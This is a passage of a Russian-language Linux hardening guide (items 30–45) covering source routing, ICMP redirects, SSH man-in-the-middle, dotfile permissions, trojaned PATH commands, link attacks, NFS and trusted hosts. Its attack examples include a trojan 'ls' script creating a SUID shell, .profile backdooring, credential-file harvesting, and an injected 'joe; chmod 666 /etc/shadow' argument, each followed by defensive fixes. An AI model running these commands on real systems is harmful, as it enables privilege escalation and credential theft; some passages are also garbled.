Данная команда позволит компьютеру злоумышленника принимать пакеты, предназначенные для хоста с IP-адресом 192.168.3.5.
Теперь нужно организовать соединение. Можно с помощью telnet отправить поток TCP-пакетов с маршрутизацией от источника. Следующая команда позволяет указать последовательность узлов, через которые должно быть организовано соединение.
root# nc -g 10.4.4.1 -g 10.1.5.129 -g 10.1.1.1 -g 192.168.2.1 192.168.3.2 25
Обратите внимание, что утилита nc иногда называется netcat.
В данном случае идет отправка пакетов с вложенной информацией о маршруте их передачи, начиная с локального компьютера, затем по цепочке 10.4.4.1, 10.1.5.129 , 10.1.1.1, 192.168.2.1 к интересующему хосту 192.168.3.2

30. Многие компьютеры работают с двумя интерфейсами, один из которых предназначен для доступа в Internet, а второй – для доступа к внутренней локальной сети. Примером может служить Web-сервер, который обеспечивает внешний интерфейс для передачи клиентских данных – Web-сервер использует HTTP для обмена информацией с внешними компьютерами и выполняет запросы к базе данных, хранящейся в частной сети для получения необходимых данных. Если настроить компьютер на перенаправление (forwarding) из одной сети в другую, то можно получить доступ из внешней сети к «невидимым» компьютерам внутренней сети без компрометации промежуточного хоста.
Включение и отключение перенаправления пакетов (IP Forwarding) осуществляется с помощью редактирования файла /proc/sys/net/ipv4/ip_forward. Установленный параметр 0 означает, что перенаправление отключено, а 1 означает, что компьютер обязан передавать пакеты между интерфейсами. Для маскирующих шлюзов и брандмауэров это может быть полезным, но не нужно для серверов имен, почтовых серверов и бастионов. Для отключения перенаправления следует набрать команду
root# echo 0 > /proc/sys/net/ipv4/ip_forward
А для гарантии, что перенаправление не активизируется в процессе загрузки системы, в файл /etc/sysctl.conf нужно добавить строку
net.ipv4.ip_forward = 0
31. Для того чтобы гарантировать, что в таблицу маршрутизации локального компьютера нельзя добавлять информацию о новых маршрутах, необходимо отключить демона маршрутизации (обычно routed и gated). Эти демоны запускаются при загрузке компьютера, поэтому их надо просто остановить и отключить их запуск в каталогах /etc/rcN.d. Вместо использования этих демонов, переложите задачу выбора наиболее эффективных маршрутов передачи данных исключительно на свой маршрутизатор.

32. Переадресация по протоколу ICMP.В таблицах маршрутизации большинства Linux-систем присутствуют три записи: для петли обратной связи, для локальной сети Ethernet или коммутируемой сети и для маршрутизатора по умолчанию.
user$ netstat -rn
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
192.168.70.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo
0.0.0.0 192.168.70.2 0.0.0.0 UG 0 0 0 eth0

Первая строчка обозначает, что с хостами сегмента локальной сети Ethernet следует устанавливать непосредственное соединение, а не отправлять пакеты на какой-либо маршрутизатор. Вторая (127.0.0.1) описывает интерфейс петли обратной связи. В последней строке определяется, что все остальные пакеты должны передаваться на маршрутизатор по умолчанию (192.168.70.2), который передаст их по адресу назначения.
Предположим, что компьютер 192.168.70.5 взломан. С помощью анализатора пакетов на этом компьютере можно увидеть, что пакет с хоста (192.168.70.4) передается маршрутизатору по умолчанию. В это время достаточно отправить ICMP-сообщение о переадресации с подменным IP-адресом маршрутизатора, в котором уведомить отправителя (192.168.70.4) от «правильном» маршрутизаторе. Данный хост начнет отправлять пакеты на адрес компьютера, указанного в ICMP-пакете.
До: (192.168.70.4) --> (192.168.70.2) --> (192.168.70.100)
После: (192.168.70.4) --> (192.168.70.5) --> (192.168.70.2) --> (192.168.70.100)

192.168.70.2 – маршрутизатор, 192.168.70.100 – интересуемый компьютер, например, база данных.

При наличии одного маршрутизатора нет никакой необходимости в применении ICMP-сообщений о переадресации. Для игнорирования ядром Linux ICMP-сообщений о переадресации следует использовать следующую команду.
root# echo 0 > /proc/sys/net/ipv4/conf/all/accept_redirects
root# cat /proc/sys/net/ipv4/conf/all/accept_redirects
0

Эта команда echo должна быть добавлена в сценарии загрузки системы. В качестве альтернативы можно добавить строчку net.ipv4.conf.all.accept_redirects = 0 в файл /etc/sysctl.conf. При наличии нескольких маршрутизаторов придется добавлять их вручную.
root# route add –net 192.168.100.0/24 qw 192.168.200.2
33. Есть возможность для SSH-клиента подменить действительный SSH-сервер собственным компьютером и аналогично подменить действительного SSH-клиента для SSH-сервера. Для ее запуска достаточно указать настоящий SSH-сервер в командной строке.
root# sshmitm server.example.com
sshmitm: relaying to server.example.com

Когда SSH-клиент подключается к серверу в первый раз, то он выдаст запрос о проверке ключа host key.
client$ ssh server.example.com
The authenticity of host ‘server.example.com’ can’t be estamlishced.
RSA key fingerprint is
cd:e5:43:56:ft:54:3e:h6:H6:gh:6u:U6:y6”gj.
Are you sure you want to continue connecting (yes/no)? yes

То есть выдается предупреждение, что не может быть установлена идентичность хоста, на котором работает SSH-сервер, и вопрос о том, следует ли продолжить в этом случае процесс установки соединения. Однако, если пользователь ранее успешно коннектился к данному хосту, выдается предупреждение.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

Если пользователь в этих двух случаях продолжит соединение, программа sshmitm получить полный контроль над установленным сеансом. По умолчанию она зарегистрирует все имена пользователей и пароли.
02/28/01 23:36:53 tcp 192.168.70.4:4453 -> 10.19.28.182:22 (ssh)

Так что при первоначальном подключении необходимо скопировать полученный открытый ключ хоста в свой файл. Сравните эту строку с открытым ключом действительного сервера, который обычно хранится в файле /etc/ssh/ssh_host_key.pub или /etc/ssh_host_key.pub. Если две строки не совпадают, можно с уверенностью говорить о прослушивании сеанса и перехвате вашего пароля. Чтобы предотвратить возможность установления опасного соединения, настройте SSH на обязательную проверку ключа хоста. Это можно осуществить, добавив в начало файла $HOME/.ssh/config следующие строки.
Host *
StrictHostKeyChecking yes

Также можно добавить параметр StrictHostKeyChecking в глобальный файл /etc/ssh/ssh_config. Желательно установить новую версию протокола SSHv2.

34. MAC-адреса сетевых адаптеров жестко закодированы поставщиками. Однако нет ничего сложного в изменении своего MAC-адреса с помощью команды
root# ifconfig wlan0 10:20:30:40:50:60
Узнать о подмене сложно, если использовать стандартные средства предоставления доступа. В будущих версиях стандарта 802.11 будет использоваться строгая аутентификация пользователей, которая позволит устранить эту проблему.

35. В пользовательском каталоге представляют интерес многие файлы. Например, эти.
.netrc – сведения о самых популярных у пользователя FTP-сайтах.
.fetchmailrc – при запуске в режиме демона fetchmail будет здесь искать пароль пользователя (хранится в незашифрованном виде).
.mozilla – данные о почтовом сервере, посещаемых сайтах и д.р.
.profile, .bashrc, .bash_login – используются командным интерпретатором bash. Например, установленное значение переменной PATH позволяет узнать часто используемые программы. То же относится и к файлам истории.
Если для них предоставлены права чтения всем пользователям, а тем более не заблокирована возможность изменения этих файлов, то кто-нибудь обязательно этим воспользуется.
bad_guy$ cat >> /home/name_user/.profile << EOM
cp /home/ bad_guy/suid_shell /tmp/.shells/name_user
chmod 1755 /tmp/.shells/name_user
EOM

При следующем входе в систему этого пользователя копия файла suid_shell будет сохранена в каталоге ls
и предоставит возможность действовать от имени этого пользователя (при помощи идентификатора пользователя). Остается только запустить ее. Даже если для отдельных файлов не предоставлено прав записи, их можно изменить, имея право записи в каталог, в котором хранятся эти файлы.
bad_guy$ cp /home/name_user/.profile /tmp/
bad_guy$ vi /tpm/.profile

bad_guy$ rm /home/name_user/.profile
bad_guy$ mv /tmp/.profile /home/name_user

Найти файлы ~/.fetchmailrc и ~/.netrc и проверить права чтения очень просто.
bad_guy$ find / -name .fetchmailrc –o –name .netrc | xargs cat
Файлы .netrc. Данные файлы являются точечными и хранятся в домашней директории пользователя. Эти файлы делаются зачастую самими пользователями, для того, чтобы повысить скорость доступу по ftp к другим системам. То есть, не вводить каждый раз логин/пароль, а прописать его в данном файле и при следующем соединении с ftp-серверу он запуститься автоматически, что приведет к тому, что вы сразу залогинетесь на сервер. Давайте рассмотрим 1 строку из этого файла:
default login lynx password qwerty
как видишь, ты имеешь дефолтовый пароль (qwerty) пользователя (lynx) в незакодированном виде. Поэтому права доступа на такие файлы должны быть соответствующие, а лучше вообще запретить использование таких файлов в системе.

Полезные советы
1. Внимательно следите за логами, особенно за использованием su (/usr/adm/sulog).
2. Не вылезайте в сеть под рутом, лучше сделайте для этого дела специальный аккаунт.
3. Отдайте ваш файл с паролями на съедение JTR и если он не подберет пароль в течение 7-24 часов (зависит от наглости +) и если он вскроет хотя бы 1 из паролей, то замените этот пароль.
4. Проверьте свою систему каким-нибудь сканером безопасности и залатайте найденные дыры.

Проверьте, что для всех начальных каталогов пользователей ограничены права доступа.
root@machine# chmod 700 /home/*
root@machine# chmod 700 /root

Надежнее установить защиту и для отдельных файлов.
root@machine# chmod go-rwx /home/*/.??*
root@machine# chmod go-rwx /root/.??*

Если вы выполнили пункт 3, то все новые файлы будут иметь атрибут 700.
Когда целостность файловой системы оказывается под угрозой, для ее восстановления запускается утилита fsck. Если при восстановлении найдутся файлы с «потерянной» информацией о родном каталоге, они помещаются в каталог /lost+found. Права устанавливаются довольно «либеральные».
user$ ls –lad ‘locate /lost+found‘
drwxr-xr-x 2 root root 12288 Jun 15 2002 /boot/lost+found/

Для файлов в этом каталоге необязательно сохраняются первоначальные права доступа. Проще всего дать команду.
root# chmod 700 ‘locate /lost+found‘
36. Чтобы выполнить операцию печати на принтере, подключенном к Windows-компьютеру, для приложения smbprint требуется имя пользователя и пароль. Эта информация хранится в конфигурационном файле в каталоге, предназначенном для хранения заданий для данного принтера. Во многих случаях права на чтение этого файла предоставлены всем пользователям компьютера. Такое отношение к учетной записи может привести ко взлому и удаленной Windows-системы, и локального хоста (если учетная запись позволяет входить в систему на локальном компьютере).
При модемном доступе имя пользователя и пароль для соединения PPP хранятся в файле /etc/ppp/chap-secrets, а для wvdial – в файле /etc/wvdial.conf.
Для обеспечения безопасности smbprint-паролей проверьте, что для файлов .config в каталоге /var/spool/lp не предоставлены права чтения всем пользователям. Если такие файлы есть, выполните команду chmod o-rw по отношению к каждому из них.
Для файла, в котором хранятся пароли, использующиеся при модемном доступе (соединения должны устанавливаться от имени root для правильной маршрутизации) права должны быть только для суперпользователя с помощью команды chmod 600
.
37. При создании сценариев и других приложений иногда достаточно набрать имя скрипта (например, foo), а не sh foo или ./foo. Опасность от такого удобства значительно превышает выгоду. Рассмотрим, например подложную команду ls.
#!/bin/sh –
#Сделать каталог /etc/passwd доступным для записи и создать
#копию командного интерпретатора bash с установленным битом SUID
#в каталоге /tmp
#
if chmod 666 /etc/passwd > /dev/null 2>&1 ; then
cp /bin/sh /tmp/.sh
chmod 4755 /tmp/.sh
fi
exec ls “$@”

Переменная среды PATH обновляется при входе в систему для очень многих файлов, например /etc/profile и сценариев в /etc/profile.d. Определить все места очень сложно. Поэтому лучше добавить в конец файлов .bashrc или .profile.
PATH=‘echo $PATH | sed –e ‘s/::/:/g; s/:.:/:/g; s/:/$//; s/^://’‘
Эта простая команда sed позволяет устранить все случаи указания точки в указании пути к файлу, вплоть до получающихся в результате форм наподобие “::”

38. При автоматическом монтировании файловых систем (локальных и с удаленных компьютеров) всегда должен использоваться флаг nosuid. В этом случае невозможно запустить программу с установленным битом SUID. Проверим параметры монтирования.
bad_guy$ grep cdrom /etc/fstab
/dev/hdc /mnt/cdrom iso9660 ro,user,noauto,nosuid
bad_guy$ mount | grep cdrom
/dev/hdc on /mnt/cdrom type iso9660 (ro,nosuid,nodev,user=attacker)

Попытаемся запустить программу с установленном битом SUID.
bad_guy$ ls –l /mnt/cdrom/suid_program
-rwsr-xr-x 1 root root 99183 Mar 23 21:28 suid_program
bad_guy$ /mnt/cdrom/suid_program
ksh: /mnt/cdrom/suid_program: Operation not permitted

Установленный параметр nosuid не позволяет запускать исполняемые файлы с установленным битом идентификатора пользователя и соответствующими привилегиями. Однако если монтируются файловые системы, безопасность которых сомнительна, то лучше удалить программу suidperl. Она помогает обойти данное правило: сценарий на языке Perl, запущенный данной утилитой, может выполняться с привилегиями указанного пользователя.

39. При любых модификациях файлов лучше использовать команды, безопасные относительно вызова символьных ссылок. Ведь для программ символьная ссылка выглядит как действительный файл. Так вот, системный вызов chown() работает с файлом, на который ссылается символьная ссылка, в отличие от системного вызова lchown(), который выполняет операции в отношении самой символьной ссылки. То же самое можно сказать про команду chown, которая по умолчанию вызывает реальный файл, но если использовать параметр h, то работа этой команды будет аналогична работе команды lchown.
root# ls –la /etc/passwd ./gotcha
lrwxrwxrwx 1 hacker web 11 Dec 6 10:13 ./gotcha -> /etc/passwd
-rw-r—-r-- 1 root root 5827 Mar 23 9:39 /etc/passwd

root# chown –h jdoe ./gotcha
root# ls –la /etc/passwd ./gotcha
lrwxrwxrwx 1 jdoe web 11 Dec 6 10:13 ./gotcha -> /etc/passwd
-rw-r—-r-- 1 root root 5827 Mar 23 9:39 /etc/passwd

Часто возникает желание применить быструю проверку lstsat(), чтобы узнать, является ли файл символьной ссылкой, и в этом случае завершить работу программы на основе, что предполагается атака. Однако, это может привести к состоянию «гонки на выживание», которое хоть и трудно, но можно использовать для успешной атаки.
Для атак можно использовать и жесткие ссылки, только они должны указывать на существующий файл.
bad_guy$ ln /etc/passwd /webroot/index.html
bad_guy$ ls –li /etc/passwd /webroot/index.html
30639 -rw-r--r-- 2 root root 918 Mar 23 09:54 /etc/passwd
30639 -rw-r--r-- 2 root root 918 Mar 23 09:54 /webroot/index.html

Системный администратор исправляет права владения для web.
root# cd /path/to/webroot/
root# chown web:web *

Файл /etc/passwd теперь доступен для записи пользователям группы web.
bad_guy$ ls -li /etc/passwd /path/to/webroot/index.html
30639 -rw-r--r-- 2 web web 918 Mar 23 09:54 /etc/passwd
30639 -rw-r--r-- 2 web web 918 Mar 23 09:54 /webroot/index.html

Проверьте, что не существует каталогов с предоставленными правами записи для обычных пользователей, кроме каталогов /etc/passwd или /bin/ls.

40. Рассмотрим SUID-программу, предназначенную доверенному пользователю менять пароли для других пользователей.
#!/usr/bin/suidperl
$username=$ARGV[0];
if ( $username =~ /(httpd|web|oracle|mysql)/ )
{
system “passwd $username”;
}

Эта программа выполняет проверку имени пользователя, чтобы проверить права на внесение изменений. Если все в порядке, то с помощью команды system будет запущена программа passwd. А теперь представим, что пользователь вызывает эту программу следующим образом.
user$ chgpass “joe; chmod 666 /etc/shadow”
Запущенной с помощью системного вызова командой будет password joe; chmod 666 /etc/shadow
, то есть одновременно будут запущены команды passwd и chmod.

41. Доверенные хосты. Под это понятие входит, что с этих хостов могут быть выполнены команды удаленно и при этом не требуется пароль. Доверенные хосты обычно используют в небольших сетях, для совместной работы с различными файлами. Ниже приведен синтаксис некоторых команд:
rcp host_name:file_name - копирует файл с машины на твой комп.
rlogin -l login host_name - логинимся к системе.
rwho - список пользователей, залогиненных в системе.

Сейчас мы рассмотрим методы, с помощью которых мы сможем устранить эту опасную ситуацию.

Файл /etc/hosts.equiv. Тут и хранятся доверенные хосты! Если пользователь попробует приконнектится, используя rlogin или выполнить команду, используя rsh c хоста внесенного в /etc/hosts.equiv, то он получит доступ. Следовательно, надо убрать доверенные хосты из этого файла.

Файл .rhosts. Функции такие же как и у hosts.equiv. Вы можете создать файл .rhost в своем домашнем каталоге и позволять другим получать доступ к вашему аккаунту без пароля. Он гораздо опасней файла hosts.equiv, т.к. второй находится под контролем администратора, а первый может создать любой пользователь. Единственно безопасный путь использовать .rhosts — это запретить его использование в системе.

42. Безопасные Терминалы. Дело в том, что root не может войти на nosecure терминал даже с паролем. Однако авторизированные пользователи могут использовать «su», чтобы получить рута. Файл /etc/ttytab или /etc/ttys контролирует, какие терминалы считаются безопасными. Примерно так выглядит этот файл:
##### Start of /etc/ttytab #########
console "/usr/etc/getty std.9600" sun off secure
ttya "/usr/etc/getty std.9600" unknown off secure
ttyb "/usr/etc/getty std.9600" unknown off secure
ttyp0 none network off secure ttyp1 none
network off secure
ttyp2 none network off secure
##### End of /etc/ttytab #########

Слово «secure» в конце каждой линии указывает, что терминал рассматривается безопасным. Чтобы убрать этот параметр, нужно просто удалить слово «secure». После изменения файла, напишите команду
kill -HUP 1
Эта команда сообщит Init процессу перечитать файл ttytab. По умолчанию, все хосты являются secure, это значит, что рут может залогиниться с любого удаленного компьютера. Более безопасной конфигурацией является то, что безопасными являются только локальные терминалы. Лучше всего убрать значение «secure» со всех терминалов.

43. Файл /etc/exports. Сейчас приведем в порядок NFS (Network File System). Это, возможно, самый важный файл в конфигурации NFS. Тут находится список файловых систем, которые доступны для установки в других системах. Выглядит файл примерно так:
/usr
/home
/var/spool/mail
#
/export/root/user1 -access=user1,root=user1
/export/swap/user1 -access=user1,root=user1
#
/export/root/user2 -access=user2,root=user2
/export/swap/user2 -access=user2,root=user2

«root=keyword» определяет список хостов, которым разрешено получить права рута к файлам в названной файловой системе.
«access=keyword» определяет список хостов, отделенных двоеточиями, которым позволяют установить названную файловую систему. Если он не определен для файловой системы, любой хост может установить файловую систему через NFS. Это очевидная проблема. Вы можете внести в файл те хосты, которым положен доступ вручную:
/usr -access=host1:host2:host3:host4:host5
Поскольку максимальное число хостов, которое вы можете так ввести — 10, вы можете определять их через группы. После любых изменений в файле /etc/exports, вы должны использовать команду exportfs -a, чтобы заставить систему принять изменения.

44. Файл /etc/netgroup. Используется, чтобы определить сетевые группы. Этот файл управляется так называемыми «Yellow Pages» и должен быть обновлен в них, после каждого изменения. Вот образец этого файла:
A_Group (servera,,) (usera1,,) (usera2,,)
B_Group (serverb,,) (userb1,,) (userb2,,)
Admin_group (usera1,xakep,) (userb3,lamer,)
All_group A_Group B_Group

Этот файл определяет четыре сетевые группы: A_Group, B_Group, Admin_group, and All_group. Группа All_group включает в себя всех пользователей A_Group & B_Group. Каждый пользователь сетевой группы определен так:
(host,user,domain)
Как правило, поле «domain» не заполняют, а просто оставляют пустым. Если также не заполнить поля «host» & «user», это будет означать, что любой пользователь подходит под эти параметры. /etc/netgroup полезен при ограничении доступа к файловым системам NFS через файл /etc/exports. Для примера, посмотрите измененную версию этого файла:
/usr -access=A_Group
/home -access=A_Group:B_Group
/var/spool/mail -access=All_group
#
/export/root/client1 -access=user1,root=user1
/export/swap/client1 -access=user1,root=user1
#
/export/root/client2 -access=user2,root=user2
/export/swap/client2 -access=user2,root=user2

файловая система /usr может быть установлена только хостом A_Group. Любой другой хост будет получать сообщение об отсутствии доступа. /home может быть установлена как A_Group, так и B_Group. Файловая система /var/spool/mail также ограничена для этих хостов. Вобще-то, лучший способ конфигурации для /etc/netgroup — сделать отдельный netgroup, для каждого файлового сервера и его клиентов. Это позволит вам создать самую маленькую возможную группу хозяев для каждой файловой системы в /etc/exports. /etc/netgorups также может использоваться в файле /etc/passwd, чтобы позволить доступ данному хосту, который будет ограничен членами той группы и они смогут использовать hosts.equiv, чтобы централизовать список доверенных хостов.

45. Ограничение Доступа Суперпользователя. Обычно NFS переводит id root, в id nobody, чтобы предотвратить использование доступа root с удаленного хоста. Иногда это хорошо для безопасности, но иногда доставляет некоторые проблемы. Файл /etc/exports
также предоставляет вам доступ суперпользователя к некоторым файловым системам для некоторых хостов, используя «root=keyword». Никогда нельзя давать рута не доверенным хостам!

Показать больше

Статьи на близкие темы

Закрыть